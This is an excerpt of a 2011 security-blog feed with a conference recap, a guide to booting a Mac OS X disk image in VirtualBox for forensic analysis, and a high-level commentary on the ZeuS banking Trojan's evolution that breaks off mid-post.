Seattle&lt;/a&gt; (USA) took place. It is the first time it has taken place in Seattle and although the attendance couldn’t match the Boston conference, the atmosphere was magnificent. It began on Tuesday the 14th with an event for the speakers and organizers to get to know each other and enjoy a beer with some tasty Asian cuisine. I was the representative of the S21sec e-crime team with a speech about banking Trojans.&lt;br /&gt;&lt;br /&gt;The talks began on Wednesday the 15th and the &lt;a href="http://www.sourceconference.com/seattle/speakers_2011.asp"&gt;agenda&lt;/a&gt; was divided into two tracks, one dedicated to technical themes and the other centred on the business world. The first day, the following themes (amongst others) were touched on: &lt;a href="http://www.slideshare.net/SOURCEConference/how-much-security"&gt;evaluation of necessary expenses in security&lt;/a&gt;, &lt;a href="http://www.slideshare.net/SOURCEConference/the-latest-developments-in-computer-crime-law"&gt;the application of the law in cybercrime matters&lt;/a&gt;, &lt;a href="http://www.slideshare.net/SOURCEConference/threat-modeling-best-practices"&gt;threat modelling&lt;/a&gt;, &lt;a href="http://www.slideshare.net/SOURCEConference/forensic-memory-analysis-of-androids-dalvik-virtual-machine"&gt;forensic memory analysis of Android’s Dalvik Virtual Machine&lt;/a&gt; and our speech about the &lt;a href="http://www.slideshare.net/SOURCEConference/banking-fraud-evolution"&gt;evolution of fraud through banking Trojans&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;The objective of the speech was to analyse the changes that including banking Trojans has brought, how their injections have adapted and how they have arrived at a point where the binary family is no longer important and what is really striking, in the success of a malware campaign, is how the cybercriminals are using the binaries. The speech covered one of the latest banking Trojans, &lt;a href="http://securityblog.s21sec.com/2011/02/tatanga-new-banking-trojan-with-mitb.html"&gt;Tatanga&lt;/a&gt;, and a demo was made showing the different stages of &lt;a href="http://securityblog.s21sec.com/2010/09/zeus-mitmo-man-in-mobile-i.html"&gt;ZeuS Man in the mobile (MitMo)&lt;/a&gt;. You can download the presentation &lt;a href="http://eternal-todo.com/files/presentations/Banking%20Fraud%20Evolution%20-%20Source%20Seattle.pdf"&gt;from this link&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://4.bp.blogspot.com/-RcYTnA7ydH8/TgMddT415PI/AAAAAAAAAvQ/YaXNt3GfYF0/s1600/HPIM4652.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://4.bp.blogspot.com/-RcYTnA7ydH8/TgMddT415PI/AAAAAAAAAvQ/YaXNt3GfYF0/s400/HPIM4652.JPG" alt="" id="BLOGGER_PHOTO_ID_5621369149280609522" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;The next day the sessions began early. The first session began during breakfast, at 8am. It was given by the guys from Trustwave. They explained how they had successfully managed the DEFCON network during recent years: &lt;a href="http://www.sourceconference.com/seattle/speakers_2011.asp#luiz"&gt;&lt;span style="font-style: italic;"&gt;Building the DEFCON network, making a sandbox for 10,000 hackers&lt;/span&gt;&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://4.bp.blogspot.com/-xWTwuaYVw2g/TgMd-OMi9fI/AAAAAAAAAvY/R-MnAI3e2ZI/s1600/HPIM4658.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://4.bp.blogspot.com/-xWTwuaYVw2g/TgMd-OMi9fI/AAAAAAAAAvY/R-MnAI3e2ZI/s400/HPIM4658.JPG" alt="" id="BLOGGER_PHOTO_ID_5621369714688325106" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;There were 12 further presentations, each one interesting. For example, the one given by &lt;a href="http://www.sourceconference.com/seattle/speakers_2011.asp#jbrachman"&gt;Jarret Brachman about extremism on the Internet&lt;/a&gt;, discussed how the use of point scoring and reputation systems (gamifying) made for more energetic participation in movements.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://2.bp.blogspot.com/-fwJ88GOthV0/TgMeUa6Dl2I/AAAAAAAAAvg/_Xerv2HE2NI/s1600/HPIM4659.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://2.bp.blogspot.com/-fwJ88GOthV0/TgMeUa6Dl2I/AAAAAAAAAvg/_Xerv2HE2NI/s400/HPIM4659.JPG" alt="" id="BLOGGER_PHOTO_ID_5621370096057554786" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;After this, came others that dealt with &lt;a href="http://www.slideshare.net/SOURCEConference/everything-you-should-already-know-about-mssql-postexploitation"&gt;post-exploitation in MS-SQL environments&lt;/a&gt;, the &lt;a href="http://www.sourceconference.com/seattle/speakers_2011.asp#rgula"&gt;analysis of malicious code through&lt;/a&gt; &lt;a href="http://en.wikipedia.org/wiki/Security_information_and_event_management"&gt;SIEM systems&lt;/a&gt; and the &lt;a href="http://www.sourceconference.com/seattle/speakers_2011.asp#rpermeh"&gt;reverse engineering of iPhone applications&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://4.bp.blogspot.com/-YWw_vq_fmhI/TgMeuYPFIxI/AAAAAAAAAvo/c7kM8mhJTxU/s1600/HPIM4664.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://4.bp.blogspot.com/-YWw_vq_fmhI/TgMeuYPFIxI/AAAAAAAAAvo/c7kM8mhJTxU/s400/HPIM4664.JPG" alt="" id="BLOGGER_PHOTO_ID_5621370542017028882" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;There were four further speeches and from the technical side we could highlight: the &lt;a href="http://www.sourceconference.com/seattle/speakers_2011.asp#agrattafiori"&gt;security in Mac OS X Enterprise systems&lt;/a&gt; and the weakness of some of the protocols and &lt;a href="http://www.sourceconference.com/seattle/speakers_2011.asp#asood"&gt;finding devices on the network through HTTP requests&lt;/a&gt;. In parallel, in the business track, the themes of &lt;a href="http://www.sourceconference.com/seattle/speakers_2011.asp#mdahn"&gt;PCI Compliance in the Cloud&lt;/a&gt; and &lt;a href="http://www.sourceconference.com/seattle/speakers_2011.asp#mconley"&gt;hiring of security personnel&lt;/a&gt; were touched upon.&lt;br /&gt;&lt;br /&gt;The conference ended with an event where all attendees and other professionals from the city could get to know each other and debate a wide range of topics. Also, the &lt;a href="http://seattle.toorcon.org/"&gt;ToorCon&lt;/a&gt; took place this same weekend. So, we could meet some of the attendees and speakers around there, for example, Dan Kaminsky.&lt;br /&gt;&lt;br /&gt;In summary, another conference to bear in mind and one that will surely improve in years to come, as the number of security professionals in Seattle is enormous. There are businesses such as Microsoft, Facebook and Google settled nearby. Without a doubt, I would recommend you attend this conference in the future, if you have the chance. The way we were treated and the organization were impecable!&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Jose Miguel Esparza&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;S21sec e-crime&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/S21secSecurityBlog/~4/nCJz5ti32mw" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://securityblog.s21sec.com/feeds/8785290892565609237/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4200832237456548715&amp;postID=8785290892565609237" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4200832237456548715/posts/default/8785290892565609237?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4200832237456548715/posts/default/8785290892565609237?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/S21secSecurityBlog/~3/nCJz5ti32mw/last-week-source-seattle-usa-took-place.html" title="Source Seattle 2011" /><author><name>S21sec e-crime</name><uri>http://www.blogger.com/profile/13161855171218670746</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/-RcYTnA7ydH8/TgMddT415PI/AAAAAAAAAvQ/YaXNt3GfYF0/s72-c/HPIM4652.JPG" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://securityblog.s21sec.com/2011/06/last-week-source-seattle-usa-took-place.html</feedburner:origLink></entry><entry gd:etag="W/&quot;AkUHQH0yfip7ImA9WhZaEks.&quot;"><id>tag:blogger.com,1999:blog-4200832237456548715.post-8942398609112571626</id><published>2011-06-24T11:16:00.000-07:00</published><updated>2011-06-28T06:37:11.396-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-06-28T06:37:11.396-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="forensics" /><category scheme="http://www.blogger.com/atom/ns#" term="virtualization" /><category scheme="http://www.blogger.com/atom/ns#" term="mac" /><title>Live Forensics Mac OS X (I)</title><content type="html">&lt;p style="margin-bottom: 0cm;"&gt;&lt;span lang="en-GB"&gt;When dealing with expert or forensic reports, the reports must be objective, testable and reproducible. This last requirement, although desirable, is not always possible, for example, in the case of medical forensics or in the IT world, when a first acquisition of volatile data is made. But, this needn’t be an issue if the process followed is correctly documented.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt; Even so, a forensic analyst will not always be able to make an "online"  analysis before creating the binary image, maybe because the system is  switched off, destroyed or simply because the case load does not allow  for it at that particular moment. For this reason, once the  corresponding copies have been taken, it is possible to start the system  up in a virtual environment. Although not exactly reproducing the  conditions before the acquisition, this could serve as an aid and  complement “offline” analysis. It also could be reproducible afterwards.&lt;br /&gt;  &lt;style type="text/css"&gt;p { margin-bottom: 0.21cm; }&lt;/style&gt;  &lt;p style="margin-bottom: 0cm;"&gt;&lt;span lang="en-GB"&gt;This method is typically used for analysis of &lt;i&gt;Windows&lt;/i&gt; and &lt;i&gt;*nix&lt;/i&gt; systems, but is perhaps less widely used in the case of &lt;i&gt;Apple&lt;/i&gt; desktop operating systems. For that reason, we will show the necessary steps to create and start up a Virtual machine, from a physical disk image of the system under analysis. We will firstly look at &lt;i&gt;VirtualBox&lt;/i&gt; and continue in a second post with &lt;i&gt;VMWare&lt;/i&gt;.&lt;/span&gt;&lt;/p&gt;           &lt;style type="text/css"&gt;p { margin-bottom: 0.21cm; }&lt;/style&gt;  &lt;p style="margin-bottom: 0cm;"&gt;&lt;span lang="en-GB"&gt;The whole process has been made on a &lt;i&gt;Linux Ubuntu 10.04&lt;/i&gt; distribution, but could be made from &lt;i&gt;Windows&lt;/i&gt; in the same way or even on &lt;i&gt;Mac OS X&lt;/i&gt;. In this case we would need the following:&lt;/span&gt;&lt;/p&gt; &lt;ul&gt;&lt;li&gt;&lt;a href="http://wiki.qemu.org/Main_Page"&gt;Qemu&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.virtualbox.org/"&gt;VirtualBox&lt;/a&gt; 3.2.6 or later.&lt;span lang="en-GB"&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span lang="en-GB"&gt;A processor with virtualization technology&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;                 &lt;style type="text/css"&gt;p { margin-bottom: 0.21cm; }&lt;/style&gt;  &lt;p style="margin-bottom: 0cm;"&gt;&lt;span lang="en-GB"&gt;The first step is to convert the &lt;i&gt;RAW&lt;/i&gt; image that was obtained from the physical machine beforehand, to a virtual disk compatible with &lt;i&gt;VirtualBox&lt;/i&gt;. For that &lt;i&gt;Qemu&lt;/i&gt; can be used in the following way:&lt;/span&gt;&lt;/p&gt;&lt;br /&gt;&lt;pre style="font-family: arial; font-size: 12px; border: 1px dashed rgb(204, 204, 204); width: 99%; height: auto; overflow: auto; background: url(&amp;quot;http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif&amp;quot;) repeat scroll 0% 0% rgb(240, 240, 240); padding: 0px; color: rgb(0, 0, 0); text-align: left; line-height: 20px;"&gt;&lt;code style="color: rgb(0, 0, 0); word-wrap: normal;"&gt; $sudo qemu-img convert –f raw imagen.dd –O vdi imagen.vdi&lt;/code&gt;&lt;br /&gt;&lt;/pre&gt;           &lt;style type="text/css"&gt;p { margin-bottom: 0.21cm; }&lt;/style&gt;  &lt;p style="margin-bottom: 0cm;"&gt;&lt;span lang="en-GB"&gt;&lt;br /&gt;This could also be done via &lt;span style="font-style: italic;"&gt;VirtualBox&lt;/span&gt; itself:&lt;br /&gt;&lt;br /&gt;&lt;/span&gt; &lt;/p&gt; &lt;pre style="font-family: arial; font-size: 12px; border: 1px dashed rgb(204, 204, 204); width: 99%; height: auto; overflow: auto; background: url(&amp;quot;http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif&amp;quot;) repeat scroll 0% 0% rgb(240, 240, 240); padding: 0px; color: rgb(0, 0, 0); text-align: left; line-height: 20px;"&gt;&lt;code style="color: rgb(0, 0, 0); word-wrap: normal;"&gt; $VBoxManage convertfromraw &amp;lt;filename&amp;gt; &amp;lt;outputfile&amp;gt;&lt;/code&gt;&lt;br /&gt;&lt;/pre&gt;&lt;span lang="en-GB"&gt;&lt;br /&gt;Depending on the size of the disk, this could take from some minutes, up to various hours. &lt;/span&gt;&lt;p style="margin-bottom: 0cm;"&gt; &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span lang="en-GB"&gt;Next a new virtual machine is created and configured. This can be done from the command line in the following way:&lt;/span&gt;&lt;/p&gt;&lt;br /&gt;&lt;pre style="font-family: arial; font-size: 12px; border: 1px dashed rgb(204, 204, 204); width: 99%; height: auto; overflow: auto; background: url(&amp;quot;http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif&amp;quot;) repeat scroll 0% 0% rgb(240, 240, 240); padding: 0px; color: rgb(0, 0, 0); text-align: left; line-height: 20px;"&gt;&lt;code style="color: rgb(0, 0, 0); word-wrap: normal;"&gt; $VBoxManage createvm --name &lt;span style="color: rgb(255, 0, 0);"&gt;MacOSX&lt;/span&gt; --ostype MacOS_64 --register --basefolder &lt;span style="color: rgb(51, 51, 255);"&gt;/VirtualMachines&lt;/span&gt;&lt;br /&gt; $VBoxManage modifyvm &lt;span style="color: rgb(255, 0, 0);"&gt;MacOSX&lt;/span&gt; --memory 1024&lt;br /&gt; $VBoxManage modifyvm &lt;span style="color: rgb(255, 0, 0);"&gt;MacOSX&lt;/span&gt; --accelerate3d on --vram 32&lt;br /&gt; $VBoxManage storagectl &lt;span style="color: rgb(255, 0, 0);"&gt;MacOSX&lt;/span&gt; --add sata --controller IntelAHCI --name SATAController&lt;br /&gt; $VBoxManage storagectl &lt;span style="color: rgb(255, 0, 0);"&gt;MacOSX&lt;/span&gt; --add ide --controller PIIX4 --name IDEController&lt;br /&gt; $VBoxManage storagectl &lt;span style="color: rgb(255, 0, 0);"&gt;MacOSX&lt;/span&gt;  --name SATAController --hostiocache on&lt;br /&gt; $VBoxManage storagectl &lt;span style="color: rgb(255, 0, 0);"&gt;MacOSX&lt;/span&gt; --name IDEController --hostiocache on&lt;br /&gt; $VBoxManage modifyvm &lt;span style="color: rgb(255, 0, 0);"&gt;MacOSX&lt;/span&gt; --usb on --keyboard usb --mouse usb&lt;br /&gt; $VBoxManage storageattach &lt;span style="color: rgb(255, 0, 0);"&gt;MacOSX&lt;/span&gt; --storagectl SATAController --type hdd --port 0 --device 0 --medium &lt;span style="color: rgb(51, 51, 255);"&gt;/VirtualMachines&lt;/span&gt;/HDDs/imagen.vdi&lt;br /&gt; $VBoxManage modifyvm &lt;span style="color: rgb(255, 0, 0);"&gt;MacOSX&lt;/span&gt; --firmware efi64&lt;br /&gt; $VBoxManage setextradata &lt;span style="color: rgb(255, 0, 0);"&gt;MacOSX&lt;/span&gt; VBoxInternal2/EfiGopMode 4&lt;span&gt;&lt;br /&gt;&lt;/span&gt; $&lt;span&gt;VBoxManage setextradata &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;MacOSX&lt;/span&gt;&lt;span&gt; VBoxInternal2/SmcDeviceKey "ourhardworkbythesewordsguardedpleasedontsteal(c)AppleComputerInc"&lt;/span&gt;&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;           &lt;style type="text/css"&gt;p { margin-bottom: 0.21cm; }&lt;/style&gt;  &lt;p style="margin-bottom: 0cm;"&gt;…&lt;span lang="en-GB"&gt;and the machine is started up as follows: &lt;/span&gt; &lt;/p&gt;&lt;br /&gt;&lt;pre style="font-family: arial; font-size: 12px; border: 1px dashed rgb(204, 204, 204); width: 99%; height: auto; overflow: auto; background: url(&amp;quot;http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif&amp;quot;) repeat scroll 0% 0% rgb(240, 240, 240); padding: 0px; color: rgb(0, 0, 0); text-align: left; line-height: 20px;"&gt;&lt;code style="color: rgb(0, 0, 0); word-wrap: normal;"&gt;&lt;span&gt;&lt;/span&gt; $VBoxManage startvm &lt;span style="color: rgb(255, 0, 0);"&gt;MacOSX&lt;/span&gt; &lt;/code&gt;&lt;/pre&gt;                 &lt;style type="text/css"&gt;p { margin-bottom: 0.21cm; }&lt;/style&gt;  &lt;p style="margin-bottom: 0cm;"&gt;&lt;span lang="en-GB"&gt;(*)Where &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0); font-style: italic;"&gt;MacOSX&lt;/span&gt;&lt;span lang="en-GB"&gt; is the name given to the virtual machine and &lt;/span&gt;&lt;span style="color: rgb(51, 51, 255); font-style: italic;"&gt;/VirtualMachines&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0); font-style: italic;"&gt;&lt;/span&gt;&lt;span style="font-style: italic;" lang="en-GB"&gt;&lt;/span&gt;&lt;span lang="en-GB"&gt; is the directory where it will be stored.&lt;/span&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0cm;"&gt;&lt;span lang="en-GB"&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span lang="en-GB"&gt;Of course, it is also possible to create a virtual machine in &lt;i&gt;VirtualBox&lt;/i&gt; through the graphical interface assistant, selecting &lt;i&gt;Mac OS X Server&lt;/i&gt; as the operating system and afterwards modifying the configuration in the following way:&lt;/span&gt;&lt;/p&gt;           &lt;style type="text/css"&gt;p { margin-bottom: 0.21cm; }&lt;/style&gt;     &lt;ul&gt;&lt;li&gt;&lt;i&gt;S&lt;/i&gt;&lt;span lang="en-GB"&gt;&lt;i&gt;ystem/Motherboard:       &lt;/i&gt;Uncheck "Floppy Disk"&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span lang="en-GB"&gt;&lt;i&gt;System/Acceleration:&lt;/i&gt; Disable "Nested Paging"&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span lang="en-GB"&gt;&lt;i&gt;Display/Video:&lt;/i&gt; Set to more than 32 MB of memory and select “Enable 3D acceleration”&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span lang="en-GB"&gt;&lt;i&gt;Storage/IDE Controller &amp;amp; SATA Controller: &lt;/i&gt;Select “Use host I/O cache”&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span lang="en-GB"&gt;&lt;i&gt;USB:&lt;/i&gt; Enable the USB controller&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;  &lt;ul&gt;&lt;/ul&gt;                  &lt;style type="text/css"&gt;p { margin-bottom: 0.21cm; }&lt;/style&gt;  &lt;p style="margin-bottom: 0cm;"&gt;&lt;span lang="en-GB"&gt;After this setup, completely close the interface and any other related process and open the configuration file &lt;span style="font-style: italic;"&gt;.vbox&lt;/span&gt; (before &lt;span style="font-style: italic;"&gt;.xml&lt;/span&gt;) in&lt;/span&gt;&lt;span style="color: rgb(51, 51, 255);"&gt; &lt;span style="font-style: italic;"&gt;/VirtualMachines&lt;/span&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="font-style: italic;"&gt;/MacOSX&lt;/span&gt; &lt;/span&gt;&lt;style type="text/css"&gt;p { margin-bottom: 0.21px; }&lt;/style&gt;&lt;span lang="en-GB"&gt;with a text editor and add the following in the&lt;/span&gt;  &lt;span style="font-style: italic;"&gt;&amp;lt;&lt;/span&gt;&lt;i&gt;ExtraData&amp;gt;&lt;/i&gt; section:&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;pre style="font-family: arial; font-size: 12px; border: 1px dashed rgb(204, 204, 204); width: 99%; height: auto; overflow: auto; background: url(&amp;quot;http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif&amp;quot;) repeat scroll 0% 0% rgb(240, 240, 240); padding: 0px; color: rgb(0, 0, 0); text-align: left; line-height: 20px;"&gt;&lt;code style="color: rgb(0, 0, 0); word-wrap: normal;"&gt;&lt;span style="font-style: italic;"&gt; &amp;lt;&lt;/span&gt;&lt;i&gt;ExtraDataItem name="VBoxInternal2/EfiGopMode" value="4"/&amp;gt; &lt;/i&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt; &amp;lt;&lt;/span&gt;&lt;i&gt;ExtraDataItem name="VBoxInternal2/SmcDeviceKey" value="ourhardworkbythesewordsguardedpleasedontsteal(c)AppleComputerInc"/&lt;/i&gt;&lt;i&gt;&amp;gt;&lt;/i&gt;&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;           &lt;style type="text/css"&gt;p { margin-bottom: 0.21cm; }&lt;/style&gt;  &lt;p style="margin-bottom: 0cm;"&gt;&lt;span lang="en-GB"&gt;&lt;br /&gt;Finally, start the machine to be able to proceed with the “online” analysis and obtain data such as active processes, capture network traffic, etc.. &lt;/span&gt; &lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;div&gt;&lt;a href="http://securityblog.s21sec.com/2011/06/live-forensics-mac-os-x-i.html"&gt;Live         Forensics Mac OS X (I)&lt;/a&gt;&lt;/div&gt;         &lt;div&gt;&lt;a href="http://securityblog.s21sec.com/2011/06/live-forensics-mac-os-x-ii.html"&gt;Live Forensics Mac OS X (II)&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Santiago Vicente&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;S21sec e-crime&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/S21secSecurityBlog/~4/flOk3OwXgAc" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://securityblog.s21sec.com/feeds/8942398609112571626/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4200832237456548715&amp;postID=8942398609112571626" title="1 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4200832237456548715/posts/default/8942398609112571626?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4200832237456548715/posts/default/8942398609112571626?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/S21secSecurityBlog/~3/flOk3OwXgAc/live-forensics-mac-os-x-i.html" title="Live Forensics Mac OS X (I)" /><author><name>S21sec e-crime</name><uri>http://www.blogger.com/profile/13161855171218670746</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>1</thr:total><feedburner:origLink>http://securityblog.s21sec.com/2011/06/live-forensics-mac-os-x-i.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DUIERns7fSp7ImA9WhZbF04.&quot;"><id>tag:blogger.com,1999:blog-4200832237456548715.post-8611763762671716726</id><published>2011-06-22T02:58:00.000-07:00</published><updated>2011-06-22T03:11:47.505-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-06-22T03:11:47.505-07:00</app:edited><title>Evolution, ramification and reflections on Zeus.</title><content type="html">&lt;a href="http://2.bp.blogspot.com/-KjuUonrODfs/TgG-8tUo5rI/AAAAAAAAAvI/-7hDdjGUFXM/s1600/cmp2010.PNG" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;/a&gt;&lt;div style="text-align: justify;"&gt;After some years as the prevailing king of the banking Trojans, in recent months there has been lots of talk about the possibility of radical changes in ZeuS itself, and in this post I am going to try to give my opinion about the most important aspects of the subject.&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;&lt;b&gt;A possible merger with SpyEye?&lt;/b&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Firstly, there was talk of the possible release of the ZeuS source code to the creators of SpyEye, leading to talk of the disappearance of ZeuS and the evolution of SpyEye in its place. While it is true that SpyEye has evolved and certain characteristics pertaining to ZeuS have been seen in SpyEye versions (indeed, some servers seem to have 2 front ends for the same database), the reality is that both Trojans are still being used separately and that each one has evolved.&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;As may be expected, improvements will be implemented that are both easily achievable and the creator feels add value to the piece of malware. Now that the ZeuS source code has been made public, it is likely that we will see parts of ZeuS used in other malware samples, but ZeuS will remain as active as ever.&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;&lt;b&gt;Ramifications of the publication of the source code?&lt;/b&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;As everyone knows, version 2.0.8.9 source code was made public, which led to fears of a proliferation of modified versions. It is a reasonable fear, but given that the underground world is so specialized, it is probable that the biggest users of ZeuS kits do not have the necessary technical knowledge to personalize the botnet as they would like.&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;There is no doubt that people with the capability for the task exist, but it is not straightforward and whoever does it should profit from its sale. There are few groups that have a solid knowledge base and the necessary resources of time and effort needed to take this step. For these reasons, I do not believe that by the end of the year there will be 100 new variants of ZeuS, although it would not surprise me to find 2 or 3, possibly more given that we have already seen some new versions recently.&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;&lt;b&gt;ZeuS v2.1 and the challenges it poses.&lt;/b&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;As has been discussed in depth, versions 2.1 of Zeus (known as Licat and Murofet), contain characteristics that vary substantially from the usual ZeuS:&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li style="text-align: justify;"&gt;The generation of domain names based on the date (in case the configured, default domain name does not work). &lt;/li&gt;&lt;li&gt;&lt;div style="text-align: justify;"&gt;Changes in the configuration file:&lt;/div&gt;&lt;ol&gt;&lt;li style="text-align: justify;"&gt;Identification codes of new sections can be found.&lt;/li&gt;&lt;li style="text-align: justify;"&gt;The URL for the binary update, configuration and C&amp;amp;C are not hardcoded, as they are generated with the algorithm mentioned above.&lt;/li&gt;&lt;li style="text-align: justify;"&gt;Some sections of the configuration file have extra encryption besides the XOR and RC4 layers usually found in the Zeus 2.0.x family.&lt;/li&gt;&lt;/ol&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Besides these versions, we have observed versions 2.1.x that do not share these characteristics and apparently belong to the natural evolution of ZeuS.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;In the &lt;i&gt;modified &lt;/i&gt;version, due to the use of a domain name algorithm, I dare say that it belongs to a personalized version of ZeuS, modified by a specific group and not an evolution of the, shall we say, core version. &lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Adding a date based domain name generation means centralizing the control panel and therefore selling it as a malware kit no longer makes sense. Of course, this could be removed from the generation of domain names, as besides the date, it can use a key to personalize the algorithm, but it seems that is not the case.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Without making a complete analysis of domain name generation, I would say that the campaign of personalizing versions belongs to the owners of the same campaigns from the end of last year (when, in fact, the ZeuS code was still not public). I base this on 3 details:&lt;/div&gt;&lt;div&gt;&lt;ol&gt;&lt;li style="text-align: justify;"&gt;The same modus operandi, with a hardcoded domain name and the generation of domain names based on the current date, in case the initial domain does not respond.&lt;/li&gt;&lt;li&gt;&lt;div style="text-align: justify;"&gt;A limitation to, supposedly, 1020 values based on the current minute.&lt;/div&gt;&lt;img src="http://2.bp.blogspot.com/-m4bPtWm9zdM/TgG-w5ajQcI/AAAAAAAAAvA/dxM7wi_wF9k/s400/minutos.PNG" style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 151px;" border="0" alt="" id="BLOGGER_PHOTO_ID_5620983557190271426" /&gt;&lt;/li&gt;&lt;li&gt; Checks to see if the year is less than 2010 (and not 2011)&lt;img src="http://2.bp.blogspot.com/-KjuUonrODfs/TgG-8tUo5rI/AAAAAAAAAvI/-7hDdjGUFXM/s400/cmp2010.PNG" border="0" alt="" id="BLOGGER_PHOTO_ID_5620983760102680242" style="display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; text-align: center; cursor: pointer; width: 400px; height: 132px; " /&gt;&lt;/li&gt;&lt;/ol&gt;&lt;div&gt;&lt;br 